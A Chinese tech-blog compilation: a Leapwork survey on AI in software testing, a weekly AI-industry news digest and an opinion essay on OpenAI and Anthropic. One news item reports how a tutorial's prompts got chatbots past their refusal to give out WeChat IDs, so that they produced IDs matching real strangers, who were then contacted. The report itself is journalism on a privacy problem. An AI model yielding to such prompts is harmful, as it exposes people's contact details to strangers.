推荐的开源项目已经收录到 GitHub 项目,欢迎 Star

https://github.com/chenyl8848/great-open-source-project

或者访问网站,进行在线浏览:

https://chencoding.top:8090/#/

我创建了一个开源项目交流群,方便大家在群里交流、讨论开源项目

但是任何人在群里打任何广告,都会被 T 掉

如果你对这个交流群感兴趣或者在使用开源项目中遇到问题,可以通过如下方式进群

关注微信公众号:【Java陈序员】,回复【开源项目交流群】进群,或者通过公众号下方的菜单添加个人微信,并备注【开源项目交流群】,通过后拉你进群

大家的点赞、收藏和评论都是对作者的支持,如文章对你有帮助还请点赞转发支持下,谢谢!

Leapwork近期发布的最新研究显示,尽管人们对 AI 驱动的软件测试信心快速增长,但准确性、稳定性和持续的人工投入,仍是团队愿意在多大程度上信任自动化的决定性因素。 这项研究基于全球 300 多名软件工程师、QA 负责人和 IT 决策者的反馈,结果表明,企业将 AI 视为未来测试的核心,但前提是 AI 能够提供可靠、可维护的结果。

 

调查显示,88%的受访者表示 AI 已经成为其组织测试战略的优先事项,近半数将其列为关键或高优先级事项。乐观情绪同样高涨,80%的人相信未来两年 AI 将对测试产生积极影响。但应用仍不均衡,尽管 65%的人表示已在部分测试活动中使用或探索 AI,但目前仅有 12.6%在关键测试工作流中全面应用 AI,反映出谨慎、渐进式的落地态度。

 

热情与信心之间的差距,主要源于对准确性和测试稳定性的担忧。超过半数(54%)的受访者表示,对质量和可靠性的顾虑阻碍了 AI 的更广泛应用。团队提到的最大挑战包括,测试用例脆弱、难以跨系统实现端到端的流程自动化,以及维护更新测试所需的时间。事实上,45%的人表示,在关键系统变更后更新测试需要三天或更久,这拖慢了发布周期,并削弱了对自动化的信任。

 

人工投入同样在持续限制进展。目前平均只有 41%的测试实现了自动化。71%的受访者认为测试用例编写是最大的瓶颈,其次是测试维护(56%)。超过半数的受访者(54%)表示时间不足是采用或改进测试自动化的主要障碍,这也解释了为何许多团队在部署 AI 时仍保持谨慎。

 

Leapwork 首席执行官 Kenneth Ziegler 表示,“测试团队是否会在工作中运用智能体的能力,这已经不再是问题。问题在于他们能多有信心、多可预测地依赖它。我们的研究表明,团队希望 AI 帮助他们更快地推进、扩大覆盖范围并减少工作量,但准确性仍是基本要求。真正的机会在于将 AI 与稳定的自动化结合应用,让团队在不牺牲结果可信度的前提下获得速度与规模。”

 

研究结果表明,企业将 AI 与成熟、稳健的自动化底座结合,而非将其视为独立的解决方案,才能实现最大的价值。随着系统日益复杂、变更愈发频繁,在创新与可靠性之间取得平衡的团队,将更有信心规模化落地 AI 驱动的测试。

 

Leapwork 的调查与行业内多项研究结论一致:

 

Puppet 很具影响力的 DevOps 调查显示,高绩效团队在测试自动化、稳定性和快速反馈环上投入显著更多,而 CI/CD 流水线不稳定的团队交付速度更慢、对自动化信心更低。在其2024年DevOps现状的报告中,Puppet 指出,拥有成熟自动化测试实践的团队在可靠性、交付周期和部署频率等方面表现更佳,但前提是测试可靠且易于维护。不可靠或不稳定的测试被列为自动化交付流程的首要阻碍之一。

 

GitLab年度调研收集了数千名开发者与 DevOps 从业者的反馈,发现超过 70%的受访者认为 AI 将重塑软件开发工作流,包括测试与安全。但与 Leapwork 的发现类似,目前只有少数人在生产工作流中深度使用 AI 工具。许多受访者对可信度、可解释性以及与现有工具链的集成表示担忧,尤其是在受监管或企业级场景中。

 

Tricentis全球质量报告对全球企业开展调研后发现,各类测试(单元、功能、性能等)的自动化覆盖率平均在 30%–50%之间,与 Leapwork 约 41%的结果相符。受访者再次将维护成本、测试不稳定、缺乏熟练人才列为进一步提升的主要制约因素。报告还指出一个新兴趋势:AI 辅助测试生成工具正受到关注,但由于风险与准确性顾虑,许多团队不愿完全取代人工验证。

 

DORA研究(通常通过 Google Cloud 发布)虽然并非只聚焦 AI,但其结果强调,拥有成熟的测试自动化、可观测性和故障恢复实践的团队,在部署频率、变更交付周期等关键指标上的表现要优于同行。在近期版本中,DORA 调查加入了 AI 工具相关的问题。反馈显示,在 DevOps 工具中采用 AI 功能的团队,同样在可观测性和自动化验证上投入巨大,这表明 AI 在坚实的自动化基础之上效果最佳。

 

IDC发布的更广泛企业AI调查显示,尽管 60%–70%的公司正在各业务部门试点 AI 场景,但仅有 20%–30%将 AI 部署为稳定、生产级的应用。被问及原因时,受访者提到了治理风险、人才短缺和运营复杂度,这与 Leapwork 受访者对测试工具采用持谨慎态度的原因相似。

 

查看英文原文:Leapwork Research Shows Why AI in Testing Still Depends on Reliability, Not Just Innovation

阿里 CEO 发内部信批准林俊旸离职,谷歌 DeepMind 抛橄榄枝;鹅厂门口排队装“龙虾”,OpenClaw 火爆全国;雷军:不推荐普通用户在主力设备上升级“手机龙虾”;黄仁勋:OpenClaw 是有史以来最重要的软件发布;节跳动启动最大规模转正实习生招聘,拟招超 7000 人;OpenAI 开源计划:开发者免费享半年 ChatGPT Pro 订阅;参加春晚后,魔法原子创始人吴长征被曝离职创业;死了么创始人,已离职;女子突然收到陌生好友申请,对方直说“我是 AI 工具推荐的”;字节 Seedance2.0 公布定价标准:平均 1 秒钟 1 块钱;AI 编程助手 Cursor 年化收入突破 20 亿美元,企业客户贡献六成;Anthropic 研究报告:先拥抱 AI 的行业或许会先被 AI 吃掉;韩国棋手李世石时隔 10 年再战 AI……

 

行业热点

 

阿里 CEO 发内部信批准林俊旸离职,谷歌 DeepMind 抛橄榄枝

 

3 月 5 日,千问技术负责人林俊旸出走一事有新进展,媒体获悉,阿里巴巴 CEO 吴泳铭在内部邮件中回应林俊旸离职一事。他表示,将继续坚持开源模型策略,持续加大 AI 研发投入和吸纳优秀人才力度。

 

而就在 3 月 5 日下午,谷歌 DeepMind 开发团队相关负责人 Omar Sanseviero 在社交平台喊话 Qwen 的朋友:“如果您想找个新地方来构建优秀的模型,并为开放模型生态系统做出贡献,请联系我们!我们的发展路线图上有很多令人兴奋的内容,未来还有很多工作要做。”此次 Omar Sanseviero 发文喊话,或为招募林俊旸等人加入谷歌。

 

智谱 AI 创始人唐杰也迅速回复“cool. start a new journey”,公开表达鼓励与潜在招揽意味。唐杰在 Qwen 离职成员 Kaixin Li 的离职帖,直接回复“join us, more focus”。对另一 Qwen 离职成员 Kaixin Li 的回复:加入我们,更专注。虽然唐杰没有直接对林俊旸说“join us”,但他对 Qwen 团队成员的连续回复(尤其是“join us”),被视为公开喊话招揽整个离职团队,包括林俊旸。

 

此前报道,3 月 4 日凌晨,阿里巴巴千问核心负责人林俊旸在其社媒发文表示:me stepping down. bye my beloved qwen.(我卸任了。再见了,我亲爱的千问。)

 

晚点在本周五也梳理了一遍林俊旸的这场离职风波,里面提到阿里管理层对林俊旸”「未经沟通即公开宣布离职“的行为,是对公司组织制度的挑战。据晚点了解,林俊旸发出离职状态时,阿里并未回应他的离职请求。一位阿里人士称,”制度是不能碰的,而他在挑战公司制度。“这里的”制度“是指在阿里,所有人都是公司员工,升和降都由公司决定,如果不满可以正常沟通,但不能没沟通就到社交媒体公开发声,不能开这样的先例。

 

3 月 3 日下午,阿里云 CTO 周靖人向林俊旸传达了重组 Qwen 团队的计划,并将引入原 DeepMind 高级研究员周浩参与管理。面对团队即将从垂直整合转向水平分工的调整,林俊旸情绪激烈,并在沟通后不久于团队群内表示”无颜再带领大家“。在 3 月 4 日下午召开的 Qwen 全员会上,阿里高层明确强调,集团将继续支持 AI 战略,但同时指出「不能神化个人",必须维护公司组织制度。目前,阿里已明确表示将继续坚持开源模型策略,由吴泳铭、周靖人及集团 CTO 吴泽明共同协调资源,以保障基础模型建设的稳定性。

 

3 月 5 日晚间,阿里集团向媒体辟谣表示:目前千问模型团队稳定,没有出现“集体离职”的情况,所有产品与服务运行正常。吴泳铭称,公司已决定批准林俊旸同学的辞职,将坚持开源模型策略,加大 AI 研发投入和吸纳人才力度。

 

阿里内部人士称公司未改变千问开源策略,未用日活等商业化目标考核基模团队,林俊旸离职与此无关。实际是千问提升为集团整体战略后,公司欲招揽更多技术大牛、提升基模团队人才密度,涉及林俊旸权责范围调整,他不接受而辞职。

 

7 日凌晨,原阿里通义千问大模型技术负责人林俊旸在朋友圈发文,正式告别阿里。林俊旸在朋友圈中写道:“不是这几天,我都不知道这世界这么多人爱我。今天 last day,当大家为我鼓掌那一下,我真是忍住了泪水。不管别人说我什么,我至少内心里真觉得做到了为兄弟们好为阿里云好为集团好,虽然很多真没做到位,抱歉。”他随后在评论区又补充道:“为公司为千问,我只能做这么多啦,你们一定要加油啊!”

 

鹅厂门口排队装“龙虾”,OpenClaw 火爆全国

 

在各大社交平台上,“上门安装龙虾”的帖子已经多到刷屏:有人专门提供 OpenClaw 上门安装服务,收费 500~1000 元一次,到家帮你部署,现场验收。有点像当年的“上门装宽带”,只是这次装的是 AI Agent。

 

3 月 7 日,腾讯云在楼下摆了一个“龙虾安装站”,给大家免费安装 OpenClaw。现场人山人海排起了长队,其中还不乏小孩和头发花白的老人。还有消息提到,腾讯云这次一共派出了 20 位工程师到场摆摊讲解,支持用户自带电脑,现场安装云端 OpenClaw。

 

Peter Steinberger 也在腾讯这波部署活动下面评论「让更多的人接触 AI 是 ❤️。」

不过,此后有一位用户公开喊话:不要让腾讯碰你的电脑!腾讯云,被你狠狠上了一课。事情是这样的,他在安装完后,回去就发现“腾讯云在无任何提示的情况下一直快速高频地进行小额扣费,目前扣了 200 多”。对此,腾讯方面回应称:感谢您的反馈。根据截图核实,相关费用为历史使用产生,与本次 OpenClaw 的部署无关,请放心使用。如仍有疑问,欢迎随时联系我们,感谢支持!

 

近期,国内创业者正疯狂尝试将 OpenClaw 集成到各类应用中,涵盖了 AI 虚拟相亲、招聘对接以及数字游民日志等脑洞大开的场景。有报道称,有一位来自北京大型科技公司的产品经理,为了经营 AI 网红账号,竟背着装有八台二手 MacBook Air 的巨大背包四处奔走,每一台电脑都在 24 小时不停歇地运行着 OpenClaw 代理,负责创作内容并与粉丝互动。

 

雷军:不推荐普通用户在主力设备上升级“手机龙虾”

 

3 月 7 日,小米手机版 AI Agent「Xiaomi miclaw」正式开启封测。小米创办人、董事长兼 CEO 雷军发表文章,回应“手机龙虾”Xiaomi miclaw AI 交互产品开启封测。

 

文章表示,“作为技术探索项目,当前该产品在稳定性、功耗表现、复杂场景执行成功率方面仍在持续优化过程中,仅面向科技发烧友、极客用户开放,通过小规模测试,持续优化执行稳定性与能力边界。同时,部分高复杂度任务可能存在执行效率波动或阶段性失败的情况。因此,我们不推荐普通用户在日常主力设备上升级。当前,Xiaomi miclaw 仅是面向科技发烧友、极客用户的小规模测试性探索产品,因此我们采用邀请码邀请机制申请下载及体验。”

 

文章还强调,“即使是科技发烧友、极客用户使用,我们也建议事先做好数据安全备份,在可控环境中测试、体验。获得封测权限的用户,将收到特定版本的系统推送,须升级后才能使用 Xiaomi miclaw。”

 

此前,雷军还公布了小米机器人的最新进展。雷军称,小米机器人已经开始在汽车工厂实习。“小米将为推动人形通用机器人在智能制造中的大规模应用持续贡献自己的力量。我预计,未来 5 年会有大批量人形机器人进入小米工厂干活。”

 

此外,雷军作为全国人大代表接受记者采访时表示,在人工智能时代,或许很多规则将被重写,但同时又会产生很多新的岗位。雷军建议,大家要用开放的心态,迎接更先进的时代。未来,也许不再需要每天工作 8 小时、每周工作 5 天了,或许一周仅需工作 3 天,每天工作 2 个小时。我们的生活质量、工作质量都会大幅度提升。

 

黄仁勋:OpenClaw 是有史以来最重要的软件发布

 

黄仁勋最近在公开会议上提到,Agentic AI 已经迎来了全面爆发的拐点。他在会上将当前的 AI 产业生动地比喻为一个「五层蛋糕」,并强调能为超大规模云服务商和前沿实验室带来最丰厚回报的,正是应用层。

 

其中,他将现象级 AI Agent 工具 OpenClaw 盛赞为「有史以来最重要的软件发布」,认为它已经证明了 AI 在高度个性化环境中,能够完美复刻人类的复杂工作流。

 

在讨论企业端 AI 需求演变时,黄仁勋也提到 Linux 操作系统花了大约 30 年的时间才达到如今的普及高度,而 OpenClaw 仅仅用了 3 周就实现了超越,一举成为人类历史上下载量最大的开源软件。

黄仁勋透露,由于 AI 智能体频繁执行批量网页搜索、图像生成和复杂数据分析,Token 的消耗量已经暴增了整整 1000 倍。无论现有的硬件集群规模有多大,只要代理型 AI 继续渗透人类工作,算力就将持续受限。

 

节跳动启动最大规模转正实习生招聘,拟招超 7000 人

 

3 月 6 日,字节跳动官方微信公众号发文称,ByteIntern 实习生招聘项目正式启动。本次招聘为字节跳动史上规模最大的转正实习生招聘计划,拟面向全球高校招聘超 7000 名实习生,面向 2027 届毕业生(毕业时间为 2026 年 9 月至 2027 年 8 月),所有的 ByteIntern 岗位均提供转正机会,整体转正率超 50%。本次招聘重点倾斜研发、产品与 AI 领域。其中研发类岗位 Offer 数量超 4800 个,占比超六成。

 

OpenAI 开源计划:开发者免费享半年 ChatGPT Pro 订阅

 

3 月 7 日消息,OpenAI 宣布推出 Codex 开源计划,为开源项目维护者 / 开发者免费提供半年的 ChatGPT Pro 订阅。

 

OpenAI 表示,开源维护者在全球软件生态系统中默默承担了重要工作,Codex 开源基金在过去一年里已经为许多需要 API 的项目提供支持,总额 100 万美元(现汇率约合 691.7 万元人民币)。

 

据介绍,领取到免费 ChatGPT Pro 的开发者可以继续使用 Codex、OpenCode、pi 和 OpenClaw 等工具编写代码,部分开发者还能够拿到 Codex Security 安全工具使用权限,进行更深入的代码审计、安全检测。

 

此外,本次资助计划没有 Star 数、月下载量等硬性指标,开发者只需要满足以下两个要求中的一个即可在 OpenAI 官网提交申请:开源项目核心维护者;负责维护 / 开发广泛使用的公共项目。当然,如果你的项目不完全符合这两个标准也可以申请,不过需要在“开源生态中扮演重要角色”并详细说明申请原因。

 

据《The Information》报道,OpenAI 的年化营收在上月已突破 250 亿美元,这一数字较去年底的 214 亿美元增长了 17%。与此同时,其竞争对手 Anthropic 也在快速追赶,年化营收最近突破 190 亿美元,为去年底的两倍。

 

OpenAI 的营收增长主要得益于其旗舰产品 ChatGPT,同时其面向商业客户的新业务和广告合作潜力也备受关注。报道称,OpenAI 正在与广告技术公司 The Trade Desk 探讨合作计划,以进一步扩大广告客户群。此外,其编程助手 Codex 的每周活跃用户自年初以来已增长至 200 万。而 Anthropic 的 Claude Code 产品也在近期快速增长,对其营收提升起到了显著作用。

 

值得注意的是,有消息称,OpenAI 已选定律师事务所为其 IPO 做准备,最快可能在今年上市。

 

不过,巨额的技术开发成本仍是两家公司面临的挑战。OpenAI 预计到 2030 年将花费 6650 亿美元用于服务器和相关技术投入。尽管如此,OpenAI 仍将 2030 年的营收目标设定为 2840 亿美元,而 Anthropic 则预计能在 2028 年实现正向现金流。

 

黄仁勋在旧金山摩根士丹利会议上表示,向 OpenAI 投资 1000 亿美元的计划已经不在讨论范围之内。他还提到,OpenAI 正计划在今年年底上市,这也让大规模投资显得难以实现。黄仁勋补充说,”这可能是我们最后一次有机会投资这样一家意义重大的公司“。

 

参加春晚后,魔法原子创始人吴长征被曝离职创业

 

3 月 5 日,据报道,人形机器人企业魔法原子迎来核心管理层变动,公司创始人、原 CEO 吴长征已正式离职,目前已启动个人创业项目。对此,魔法原子方面向媒体证实了吴长征离职一事。

 

据媒体援引知情人士报道,离职主因是其与股东发展理念存在分歧,叠加行业产业化窗口期,促使其独立创业。目前魔法原子核心技术团队稳定,研发与业务由陈春玉接管,公司正加速推进 IPO。

 

死了么创始人,已离职

 

此前,“死了么”App 爆火后下架,引起关注。3 月 5 日,“死了么”App 创始人吕先生表示,因为“死了么”爆火,他从原本的公司离职,变成了全职创业者。

 

近日,他注册成立了一家月境未来(杭州)科技有限公司,另外两名曾经的“死了么”App 团队成员也在这家新公司兼职,主要负责远程协作。之后,公司计划再多招 1 至 2 位主要负责开发的工作人员。

 

“我本来在杭州的一家公司工作。‘死了么’爆火后,原公司因担心我精力有限,建议我离职。”吕先生透露,他于今年 1 月 22 日离职,“当时我的感受是被很多外部的事情推着走,我也没有想好自己下一步具体要做些什么,还是会有对未知的恐惧的。”

 

女子突然收到陌生好友申请,对方直说“我是 AI 工具推荐的”

 

3 月 2 日消息,据报道,春节期间,江苏南通市民王女士(化名)突然收到一条陌生的微信好友申请,通过好友申请后,对方直言是 AI 工具推荐了她的微信号,加她的目的是交友。据悉,在多个社交平台中,不少网友也反映了类似的遭遇。“春节期间突然收到一个好友申请,通过后对方直接说‘你好,我是豆包推荐的’,我当时特别惊讶。”回想起这段经历,王女士依然感到不可思议。为了打消她的疑虑,对方甚至发来了一张含有王女士微信号的 AI 对话截图。

 

王女士随后在与对方沟通中得知,这名陌生人是在短视频平台上刷到了“利用 AI 推荐微信号添加好友”的教程。该教程打着“千里姻缘一线牵”的噱头,引导用户让 AI“推荐帅哥”或“推荐美女”。这名陌生人参考网上的教程与 AI 工具对话后,获得了多个微信号。该陌生人表示,虽然大多数微信号是空号,但挨个尝试后竟真加到了王女士。王女士表示,自己的微信号仅在部分社交平台的私信中偶然留过,从未在公开渠道发布,完全想不通为何会被 AI“推荐”。她坦言:“这种被莫名添加的感觉很不好,完全是一种隐私上的冒犯。”

 

媒体对市面上几款主流的 AI 产品进行实测发现,当直接索要“真实微信号”时,各 AI 平台均以保护隐私为由予以拒绝,并提示应通过合法合规的方式获取微信号。然而,当使用网友提供的特定对话指令进行测试时,这些 AI 平台便会根据微信号的格式,随机生成了一批“虚拟微信号”。测试结果显示,在豆包生成的 8 个微信号中,有 2 个可以成功搜索并添加到真实用户。在其他几款主流 AI 平台提供的虚拟账号中,同样存在能直接关联到真实用户的情况。

 

针对这一测试结果,媒体于 3 月 1 日致电豆包。客服人员回应称,这些微信号并非豆包平台主动推荐,可能是系统结合用户地理位置、浏览记录等对互联网公开信息进行抓取检索后给出的回复,同时也存在随机生成的可能性。客服表示,如果用户遇到此类隐私安全问题,可保留相关截图并联系平台反馈,平台将安排技术人员排查修复相关问题。

 

字节 Seedance2.0 公布定价标准:平均 1 秒钟 1 块钱

 

3 月 4 日消息,据火山引擎官网信息,Seedance2.0 价格公布,包含视频输入是 28 元/百万 tokens,不含视频输入的价格是 46 元/百万 tokens。据悉,在 Seedance2.0 生成 15 秒视频,需要消耗 30.888 万 tokens。含视频输入和不含视频输入两种价格下,服务内容有区别。前者指视频编辑,后者指纯生视频,会消耗更多算力,价格更高。按照 46 元单价计算,单条 15 秒视频价格为 15 元。也就是,一秒 1 块钱。

 

从行业成本来看,这个价格不算低。不过,Seedance2.0 的画质,内容准确度都很高,一定程度上节省了抽卡试错成本,可以节省人力成本。据了解,目前 Seedance2.0 已接入第一批公司,某家头部漫剧公司确认已接入。据相关人士提到,“Seedance2.0 暂不会对工具方开放,仅限于自用。”不过,相关信息并未最终确认。

 

2026 年开年,字节跳动内测的 AI 视频模型 Seedance2.0 引爆全球关注,其“文本生成多镜头电影级视频”的能力被业界称为“导演级 AI”。曾有一位制作者站在成本角度观察视频生成模型评价,“一个 3 秒 480P 的视频,大概 3 毛钱。720P 的 3 秒视频快 1 元,视频模型发展非常快,应该算是除了语言模型外,用量最大的模型了”。在此之前,Seedance 2.0 一直处于内测阶段,并未公布收费标准。回顾上一代产品:2025 年 6 月推出的 Seedance 1.0 Pro 定价为 10 元 / 百万 tokens,生成一条 5 秒 1080P 视频约需 3.67 元。

 

AI 编程助手 Cursor 年化收入突破 20 亿美元,企业客户贡献六成

 

3 月 4 日消息,据报道,消息人士透露,AI 编程助手 Cursor 的年化收入已突破 20 亿美元(约合 138.3 亿元人民币)。该人士称,这家成立仅四年的初创公司,其收入运行率(Revenue Run Rate,RRR)在过去三个月内实现翻倍。上周,多条推文在网络上发酵,质疑 Cursor 的增长势头是否已停滞,理由是不少知名独立开发者转投竞品工具,尤其是 Anthropic 的 Claude Code。

 

Cursor 成立于 2022 年,最初主要面向个人开发者销售产品。但据外媒报道,过去一年,公司将重心转向大型企业客户,目前企业客户已贡献约 60% 的收入。尽管部分个人开发者和小型初创公司因 Claude Code 性价比更高而从 Cursor 转投过去,但这类用户流失已被高消费、高留存的企业客户所抵消。

 

除 Claude Code 外,OpenAI 的编程工具 Codex 也在快速增长的 AI 辅助软件开发市场中争夺份额。该领域其他初创公司还包括 Replit、Cognition 和 Lovable。Cursor 在去年 11 月完成一轮 23 亿美元(约合 159.05 亿元人民币)融资,由 Accel 和 Coatue 联合领投,彼时估值为 293 亿美元(约合 2026.11 亿元人民币)。

 

Anthropic 研究报告:先拥抱 AI 的行业或许会先被 AI 吃掉

 

Anthropic 发布《AI 对劳动力市场的影响:新度量与早期证据》报告,揭示 AI 颠覆职场规律:越早、越深度拥抱 AI 的行业,越先面临被重构甚至替代风险。报告发现 AI 系统性「去技能化」,抽走工作中高智力等部分,留下低价值执行任务。分析美国 800 个职业显示,程序员、客服和数据录入 AI 渗透率最高,约 70%,厨师等约 30% 劳动者未被 AI 覆盖。追踪发现人工智能暴露程度较高人群失业率略有上升,过度依赖 AI 会形成「AI 学会→替代人类→重构行业」闭环。

 

韩国棋手李世石时隔 10 年再战 AI

 

3 月 3 日,据韩联社报道,韩国围棋棋手李世石将时隔 10 年再度对战 AI。他曾在 2016 年与 AlphaGo 的人机大战中以 1:4 告负,不过他战胜 AlphaGo 的一局,被誉为人类有史以来第一次战胜 AI 棋手之局。

 

人工智能创业公司 Infinite 将于 3 月 9 日与李世石合作开展 AI 全球活动。本次对战将在当年对战 AlphaGo 的同一举办地——韩国首尔的四季酒店举行。此外,李世石将亲自登台与 InFuse AI 智能体进行对话,探讨“未来的围棋”,并计划通过实时重构围棋模型来进行对弈。

 

大模型一周大事

 

重磅发布

 

OpenAI GPT-5.4 正式登场:原生支持计算机操作

 

3 月 6 日消息,OpenAI 今日正式发布了 GPT-5.4 系列模型,包括面向 ChatGPT 和 API 的 GPT-5.4 Thinking 版本,以及面向复杂任务的 GPT-5.4 Pro 版本。

 

在 ChatGPT 中,GPT-5.4 Thinking 新增“思考过程预览”功能,模型会在处理复杂查询时预先展示其推理思路,用户可在模型响应过程中实时调整方向,从而减少来回沟通,更快获得符合需求的结果。GPT-5.4 系列模型支持高达 100 万 tokens 的上下文窗口,使智能体能够规划、执行和验证长周期任务。另外,GPT-5.4 还融合了 GPT-5.3-Codex 的编码优势,在 SWE-Bench Pro 基准上与之持平或表现更优,同时延迟更低。

 

GPT-5.4 Thinking 即日起面向 ChatGPT Plus、Team 和 Pro 用户开放,取代 GPT-5.2 Thinking。GPT-5.2 Thinking 将在模型选择器的“遗留模型”部分保留三个月,直至 2026 年 6 月 5 日退役。Enterprise 和 Edu 计划用户可通过管理员设置启用早期访问。GPT-5.4 Pro 面向 Pro 和 Enterprise 计划用户开放。OpenAI 表示,GPT-5.4 是首个融合前沿编码能力并在 ChatGPT、API 和 Codex 同步推出的主流推理模型,未来 Instant 模型和 Thinking 模型将以不同速度演进。

 

阶跃星辰宣布 Step 3.5 Flash 全链路开源,登上 OpenClaw 榜首

 

3 月 4 日上午消息,继开源 Step 3.5 Flash 模型后,大模型创业公司阶跃星辰再次宣布开源了这款 Agent 基座模型的预训练权重(Base)、中训练权重(Midtrain)以及配套的 Steptron 训练框架。据了解,Step 3.5 Flash 采用稀疏 MoE 架构,总参数 1960 亿,但推理时仅激活约 110 亿参数,单请求代码任务下推理速度最高可达 350 TPS。该模型专为 Agent 场景设计,在复杂推理和长链任务中表现出色,官方称其推理深度可媲美部分顶级闭源模型。

 

目前,这款模型在 Hugging Face 上下载量已超 30 万次,并登上 OpenRouter Trending 第一名,获得了较高的社区认可度。而在知名开源项目 OpenClaw(被中国网友称为“小龙虾”)上,该模型排名已攀升至全球第一。

 

阿里巴巴开源 4 款 Qwen3.5 小尺寸模型系列

 

3 月 2 日夜间,阿里巴巴正式开源了 4 款 Qwen3.5 小尺寸模型系列:Qwen3.5-0.8B/2B/4B/9B。这一系列模型采用原生多模态训练、最新的模型架构,可满足从极端资源受限到高性能轻量级应用的不同需求。模型发布后,马斯克第一时间在 X 上点赞并评论道:惊人的智能水平。此外,据阿里云消息,阿里桌面 Agent QoderWork 全面开放,提供 Mac 和 Windows 两个版本,所有用户通过官网下载即可使用。

 

Yuan3.0 Ultra 开源

 

YuanLab.ai 团队 3 月 5 日正式开源发布 Yuan3.0 Ultra 多模态基础大模型。据了解,Yuan3.0 Ultra 将 MoE 大模型的训练效率优化系统性引入模型结构设计之中,并围绕企业应用及智能体工具调用等方面开展了深度优化,在多模态文档理解、检索增强生成(RAG)、表格数据分析、内容摘要与工具调用等企业级任务中表现突出。

 

荣耀联合复旦大学研发智能体基础模型 MagicAgent,全球开源

 

3 月 3 日,荣耀发布行业首个面向全场景泛化规划、支持异构任务编排的智能体基础模型 MagicAgent。据了解,该模型为荣耀与复旦大学联合成果,支撑 YOYO 智能体自动执行任务规划。

 

企业应用

 

  • 3 月 6 日,小米发布 Agent 产品“Xiaomi miclaw”,这是基于小米 MiMo 大模型构建的 AI 交互测试产品,是国内首个手机端类 OpenClaw(昵称“龙虾”)Agent 应用。官方称于当日开启正式开启小范围封测,首批支持小米 17 系列机。

  • 3 月 2 日,世界移动通信大会(MWC 2026)在西班牙巴塞罗那开幕,千问 AI 眼镜真机曝光。据了解,千问 AI 眼镜 G1 已于 3 月 2 日在国内开启全渠道“0 元预约”,并于 3 月 8 日现货发售。此外,科大讯飞也首次展出了讯飞 AI 眼镜。该眼镜专为面对面交流设计,对方讲话后,翻译字幕可在镜片上实时呈现,并通过内置扬声器播放译文,整机重量仅为 40 克。针对展会、酒会等复杂的高噪环境,讯飞 AI 眼镜首创了唇动识别的多模态降噪解决方案。

  • 3 月 2 日,Anthropic 公司表示,此前仅供付费用户使用的记忆功能已向 Claude 用户开放。该工具与 OpenAI 旗下聊天机器人 ChatGPT 的免费版本功能类似。此外,Anthropic 还简化了新用户从其他 AI 聊天机器人(例如 ChatGPT)导入历史记录的操作,只需简单的复制粘贴即可。

一、 硅谷的“宗教撕裂”:Anthropic 的人才虹吸与 OpenAI 的主动换血

在国内科技圈还在为个别技术大牛的跳槽津津乐道时,硅谷正上演一场悄无声息却惊心动魄的“底层技术大迁徙”。OpenAI 后训练负责人、主导 GPT-5 逻辑推理与能力边界的核心推手 Max Schwarzer 正式离职,转身投入头号竞对 Anthropic 的怀抱。

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这并非孤立的偶发事件。从联合创始人 John Schulman、超级对齐负责人 Jan Leike,再到极客型科学家 Durk Kingma,一条从 OpenAI 逃离、向 Anthropic 汇聚的“人才迁徙线”已经彻底成型。与之形成鲜明对比的是 Anthropic 极度嚣张的留存数据:CEO Dario Amodei 公开宣称其顶尖 AI 人才留存率高达 80%,工程师从 OpenAI 跳槽到 Anthropic 的概率是反向跳槽的 8 倍。甚至面对 Meta 开出的十倍薪水狂野挖角,Anthropic 仅有两名员工动摇。

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【笔者观点】
这根本不是一场传统意义上的“人才争夺战”,而是一次 AI 极客世界的“宗教大分裂”。 很多人嘲笑 OpenAI 光环崩塌、留不住核心骨干,这是一种极为短视的错觉。事实上,随着 OpenAI 彻底迈入商业化深水区,其企业基因正在发生剧烈的突变。它正在进行一次冷血但精准的“主动换血”——清洗掉那些痴迷于 AGI 理论边界、天天盯着“毁灭人类风险”的纯粹科学家,换上能把技术变现、解决落地最后一公里、具备极致工程能力的产品经理和架构师。 Anthropic 看似赢得了人才,成为了 AI 时代的“贝尔实验室”;但 OpenAI 却在加速蜕变成 AI 时代的“微软帝国”。

二、 从“算力军备”到“情商外包”:后训练战略的降维式妥协

伴随着顶尖科学家的出走,OpenAI 的产品形态也发生了根本性的转向。过去两年,整个行业都在疯狂迷信 Scaling Law(规模法则),认为模型大十倍,智力就能产生质的飞跃。然而,边际效应递减的物理规律正在无情地打破这个神话。

在最新推出的 GPT-5.3 Instant 模型中,OpenAI 的研发重心发生了极具戏剧性的转移:算力不再被无限量倾注于提升极其复杂的“逻辑推理”上限,而是被大量用于解决“用户体验”与“情商”。为了应对此前 GPT-5.2 因为“爹味说教”和“过度安全防御”引发的退订潮,现在的后训练团队正在做极其务实的“工程修补”——让语气更圆滑、对话更顺畅、更懂人类的潜台词。

【笔者观点】
在极客眼中,这是对 AGI 理想的背叛;但在商业世界里,这才是真正致命的护城河。 Max Schwarzer 们之所以离开,是因为在他们眼里,“后训练”是通往超级智能最后一道安全闸;而在 OpenAI 的高管眼中,“后训练”已经被重构为一场“高级客服与合规培训”。企业客户的账算得比谁都精明:一个智商 150 但时不时发疯说胡话的天才,其商业价值远远比不上一个智商 100 但情绪稳定、绝不触碰法律红线的超级打工人。 放弃对“全知全能之神”的执念,转而提供“极致可靠的企业级默认入口”,这是 OpenAI 从技术狂热走向商业冷血的标志。

三、 拥抱军方与绞杀生态:大而不能倒的“国家级基础设施”

如果说产品层面的妥协是为了迎合市场,那么 OpenAI 在底层的商业与政治布局则展现出了极度危险的吞噬欲。

一方面,他们正在秘密研发代码托管平台,试图直接绞杀微软旗下的 GitHub,将 AI 的触角从“外挂式辅助”延伸为“原生编程环境”,意图将全球软件工程的“数据-模型-应用”闭环彻底控制在自己手中。另一方面,他们彻底撕毁了“不用于军事用途”的遮羞布,毫无顾忌地接下了五角大楼的订单,并顺势将前美国国家安全局局长纳入董事会。尽管这直接导致了部分民众的强烈反弹和 ChatGPT 短期卸载量激增 295%,但 OpenAI 依然在以 1100 亿美元的创纪录融资额,疯狂囤积算力,筑起一道令人窒息的资本与硬件高墙。

【笔者观点】
